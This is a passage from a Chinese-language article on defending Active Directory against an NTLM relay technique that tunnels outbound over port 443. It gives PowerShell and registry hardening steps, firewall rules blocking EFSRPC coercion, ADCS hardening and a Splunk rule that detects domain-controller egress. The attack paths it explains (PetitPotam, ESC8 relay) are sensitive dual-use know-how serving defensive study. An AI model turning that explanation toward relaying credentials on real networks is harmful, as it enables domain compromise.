Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" `
-Name "RequireSecuritySignature" -Value 1 -Type DWord
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" `
-Name "RequireSecuritySignature" -Value 1 -Type DWord
# 验证
Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
# RequireSecuritySignature: True
Get-SmbClientConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
# RequireSecuritySignature: True
SMB Signing 防御效果:
┌─────────────────────────────────────────────────────┐
│ 攻击者中继 SMB 流量: │
│ 1. 收到客户端的 SMB 消息 (含签名) │
│ 2. 转发给目标服务器 │
│ 3. 目标服务器验证签名 │
│ → 签名密钥基于会话密钥 │
│ → 中继者的会话密钥与客户端不同 │
│ → 签名验证失败! 拒绝连接 │
│ │
│ 结论: SMB Signing 使 SMB 中继完全失效 │
└─────────────────────────────────────────────────────┘
7.2 LDAP Signing 与 Channel Binding
LDAP Signing 对 LDAP 中继的作用与 SMB Signing 类似。此外,LDAP Channel Binding(通道绑定)将 LDAP 认证绑定到 TLS 通道,即使攻击者中继了 NTLM 认证,由于 TLS 通道不同,认证也会失败。
# 强制 LDAP Signing (域控)
# GPO: Computer Configuration > Windows Settings > Security Settings >
# Local Policies > Security Options
# "Domain controller: LDAP server signing requirements" = "Require signing"
# 注册表方式
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LDAPServerIntegrity" -Value 2 -Type DWord
# 0 = None, 1 = Negotiate, 2 = Require
# 启用 LDAP Channel Binding (EPA)
# 需要域控安装 KB 相关补丁
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
-Name "LdapEnforceChannelBinding" -Value 2 -Type DWord
# 0 = Disabled, 1 = Enabled (兼容), 2 = Always
Channel Binding 防御原理:
┌──────────────────────────────────────────────────────────┐
│ 客户端 ──TLS─→ 目标服务器 │
│ │
│ Channel Binding Token (CBT) = SHA256(TLS Server Cert) │
│ ││ NTLM Type 3 消息中包含 CBT (绑定到当前 TLS 通道) │
│ │
│ 中继场景: │
│ 攻击者与目标服务器的 TLS 通道 ≠ 客户端的 TLS 通道 │
│ → CBT 不匹配 │
│ → 目标服务器拒绝认证 │
│ │
│ 关键: Channel Binding 只对 LDAPS (636) 有效 │
│ 普通 LDAP (389) 无 TLS, 无 CBT, 仍需 LDAP Signing │
└──────────────────────────────────────────────────────────┘
7.3 EPA (Extended Protection for Authentication)
EPA 是微软对 NTLM 中继的系统性防御,核心是 Channel Binding Token (CBT)。EPA 适用于所有支持 Windows 集成认证的服务(IIS、LDAP、HTTP)。
# IIS EPA 配置
# 通过 appcmd 启用 EPA
%windir%\system32\inetsrv\appcmd.exe set config \
-section:system.webServer/security/authentication/windowsAuthentication \
/extendedProtection.tokenChecking:"Require" \
/extendedProtection.flags:"None" \
/commit:apphost
# ADCS Web 注册端点 EPA (防御 ESC8)
# 注册表
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\HTTP\Parameters" `
-Name "DisableExtendedProtection" -Value 0 -Type DWord
# 确保 ADCS Web 注册站点启用 EPA
# IIS Manager > CertSrv > Authentication > Windows Authentication >
# Advanced Settings > Extended Protection = Required
7.4 出站流量管控
"去而复返"技术依赖出站 443/TCP。防御方应对出站 443 也实施管控:
出站流量管控策略:
┌──────────────────────────────────────────────────────────────┐
│ 层级1: 出站代理强制 │
│ - 所有出站 HTTP/HTTPS 必须经企业正向代理 │
│ - 代理进行 TLS 拦截 (MITM), 审计内容 │
│ - 阻止直连互联网 IP (绕过代理) │
│ │
│ 层级2: 域控出站锁定 │
│ - 域控不应有互联网出站能力 │
│ - 域控的 NSG/防火墙规则: 仅允许 → 其他DC/管理网段 │
│ - 阻止域控 → 互联网 443/TCP │
│ │
│ 层级3: DNS 出站管控 │
│ - 仅允许内网 DNS 服务器 → 互联网 DNS │
│ - 客户端只能查询内网 DNS │
│ - 阻止客户端直接查询外部 DNS (防 DNS 隧道) │
│ - 监控内网 DNS 中异常的 A 记录 (指向公网 IP) │
│ │
│ 层级4: 出站流量行为分析 │
│ - 监控域控发起的出站 HTTP/HTTPS 连接 (异常行为) │
│ - 域控不应主动访问互联网 │
│ - 告警: 域控 → 公网IP:443 │
└──────────────────────────────────────────────────────────────┘
Splunk 检测域控异常出站:
index=firewall action=allowed
src_category="domain_controllers"
dest_ip != 10.0.0.0/8
dest_ip != 172.16.0.0/12
dest_ip != 192.168.0.0/16
dest_port=443
| stats count by src_ip, dest_ip, dest_port, _time
| eval severity="CRITICAL"
| alert
7.5 EFSRPC 接口限制
PetitPotam 和许多胁迫方法依赖 MS-EFSRPC 接口。限制该接口的访问可阻断胁迫:
# 方法1: 通过 Windows Firewall 限制 EFSRPC
# EFSRPC 通过 RPC 动态端口, 但可限制 RPC 端点映射器(135)的访问
# 仅允许域控之间的 RPC 通信
New-NetFirewallRule -Name "Block-EFSRPC-Inbound" `
-DisplayName "Block MS-EFSRPC Inbound (PetitPotam防御)" `
-Direction Inbound `
-Protocol TCP `
-LocalPort 135 `
-Action Block `
-RemoteAddress "any" `
-Description "阻断来自非DC主机的RPC端口映射器访问"
# 允许DC之间的RPC
New-NetFirewallRule -Name "Allow-RPC-From-DCs" `
-DisplayName "Allow RPC from Domain Controllers" `
-Direction Inbound `
-Protocol TCP `
-LocalPort 135 `
-Action Allow `
-RemoteAddress "DC_Subnet"
# 方法2: 禁用 EFSRPC 相关注册表 (如果不需要 EFS)
# 注意: 影响加密文件系统功能, 谨慎操作
# HKLM\SOFTWARE\Microsoft\Rpc\DCOM Protocols 中移除 ncacn_ip_tcp
# 方法3: 安装 KB5005413 (微软针对 PetitPotam 的补丁)
# 该补丁将 MS-EFSRPC 的 RPC 接口改为要求认证
# 但仍可被认证用户利用, 需结合其他防御
7.6 ADCS Web 注册端点加固
ADCS Web 注册端点是 ESC8 中继的主要目标。加固措施:
ADCS Web 注册加固清单:
┌────────────────────────────────────────────────────────────┐
│ 1. 启用 EPA (Extended Protection) │
│ IIS > CertSrv > Windows Auth > Extended Protection │
│ = Required │
│ │
│ 2. 启用 IIS "Require SSL" + "Client Certificates" │
│ 要求客户端证书双向认证 │
│ (NTLM 中继无法提供客户端证书) │
│ │
│ 3. 限制可用的证书模板 │
│ - 移除高风险模板的 "Enroll" 权限 │
│ - DomainController 模板: 仅 DC 机器账户可注册 │
│ - 任何模板不允许 "Authenticated Users" 注册 │
│ │
│ 4. 网络层限制 │
│ ADCS Web 端点仅允许从管理网段访问 │
│ 阻止普通工作站网段 → ADCS:443 │
│ │
│ 5. 如果不需要 Web 注册, 直接禁用 │
│ Remove-AdcsWebEnrollment (需重启 ADCS 服务) │
│ │
│ 6. 监控异常证书签发 │
│ Event ID 4886/4887 (ADCS 证书签发) │
│ 告警: 短时间内大量证书签发 │
│ 告警: 非工作时间证书签发 │
│ 告警: 机器账户请求用户证书模板 │
└────────────────────────────────────────────────────────────┘
# 检查 ADCS Web 注册是否启用
Get-WindowsFeature -Name ADCS-Web-Enrollment
# 如果不需要, 移除
Uninstall-WindowsFeature -Name ADCS-Web-Enrollment -Restart
# 监控 ADCS 证书签发事件
# Event ID 4887: 证书签发成功
Get-WinEvent -FilterHashtable @{
LogName='Security'
Id=4887
StartTime=(Get-Date).AddHours(-1)
} | Select-Object TimeCreated,
@{N='Requester';E={$_.Properties[5].Value}},
@{N='Template';E={$_.Properties[8].Value}}
8. 总结
"去而复返"技术代表了 NTLM 中继攻击在工程化上的一个重要演进。它不再局限于"攻击者同时可见两端"的经典模型,而是通过利用企业网络"允许出站 443"这一普遍现实,构建了一条"出站 → 互联网 → 回引 → 内部目标"的迂回中继路径。
这项技术的核心洞察是:网络安全的最薄弱环节往往是那些被视为"正常业务流量"的通道。443/TCP 出站被视为正常,因此成为攻击者的隐蔽通道;LDAPS 的 Channel Binding 默认未启用,因此成为中继落地点;WebClient 服务可被远程触发,因此成为出站认证的载体。
防御"去而复返"技术不能依赖单一措施,而需要纵深防御:
| 防御层 | 措施 | 防御的攻击环节 |
|---|---|---|
| 认证层 | EPA + Channel Binding | 阻断中继到 LDAPS/HTTP |
| 协议层 | SMB/LDAP Signing 强制 | 阻断 SMB/LDAP 中继 |
| 网络层 | 域控出站锁定 | 阻断出站 443 流量 |
| 接口层 | EFSRPC 接口限制 | 阻断 PetitPotam 胁迫 |
| 应用层 | ADCS 端点加固 + EPA | 阻断 ESC8 中继 |
| 监控层 | DNS 异常 + 出站行为分析 | 检测 DNS 记录注入和异常出站 |
理解攻击者的"去而复返"路径,才能构建真正阻断这条路径的防御体系。在 NTLM 被彻底淘汰之前(微软已宣布逐步弃用 NTLM),上述纵深防御措施是每个 AD 环境的必备项。
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号